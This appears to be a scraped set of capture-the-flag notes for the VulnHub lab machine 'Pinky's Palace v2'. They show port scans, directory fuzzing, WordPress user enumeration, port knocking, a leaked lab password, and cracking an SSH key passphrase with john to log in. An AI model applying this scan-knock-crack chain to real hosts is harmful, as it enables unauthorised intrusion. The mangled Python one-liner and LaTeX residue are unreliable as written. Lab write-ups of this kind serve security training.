## WFUZZ DIRECTORY SCAN

## PORT KNOCK

## SSH2JOHN

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.25 ((Debian))

|\_http-generator: WordPress 4.9.4

|\_http-server-header: Apache/2.4.25 (Debian)

|\_http-title: Pinky's Blog – Just another WordPress site

31337/tcp filtered Elite

MAC Address: 00:0C:29:8D:B4:8D (VMware)

Device type: general purpose

Running: Linux 3.X | 4.X

OS CPE: cpe:/o:linux:linux\_kernel:3 cpe:/o:linux:linux\_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

 $root@akg:/home/akg/Desktop/vulnhub/pinky \# wfuzz - w / usr/share/seclists/Discovery/Web-Content/big.txt --hc 404 \\ \underline{http://10.10.10.19/FUZZ}$ 

ID Response Lines Word Chars Payload

 000000016:
 403
 11 L
 32 W
 295 Ch
 ".htpasswd"

 000000015:
 403
 11 L
 32 W
 295 Ch
 ".htaccess"

 000016080:
 301
 9 L
 28 W
 311 Ch
 "secret"

 000016218:
 403
 11 L
 32 W
 299 Ch
 "server-status"

 000019912:
 301
 9 L
 28 W
 314 Ch
 "wordpress"

 000019952:
 301
 9 L
 28 W
 313 Ch
 "wp-admin"

 000019956:
 301
 9 L
 28 W
 315 Ch
 "wp-content"

 000019968:
 301
 9 L
 28 W
 316 Ch
 "wp-includes"

```
/secret
8890
7000
666
pinkydb
wpscan --url http://10.10.10.19/ --enumerate u
[i] User(s) Identified:
[+] pinky1337
python-c' import itertools; print list (itertools.permutations ([8890,7000,666]))' \mid sed 's/), / \  \  | tr-cd' \  \  | sort \mid uniq > 1   \  | sort \mid uniq > 1
permutation.txt
 ./knock.sh 10.10.10.19
4655/tcp open ssh syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
7654/tcp open http syn-ack ttl 64 nginx 1.10.3
 | http-methods:
 |_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.10.3
Pinkydb:7654 pinky Passione
python /usr/share/john/ssh2john.py id_rsa > crack.txt
john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
secretz101 (id_rsa)
ssh -i id_rsa stefano@10.10.10.19 -p 4655
```

https://blog.barradell-johns.com/index.php/2018/08/pinkys-palace-v2-writeup/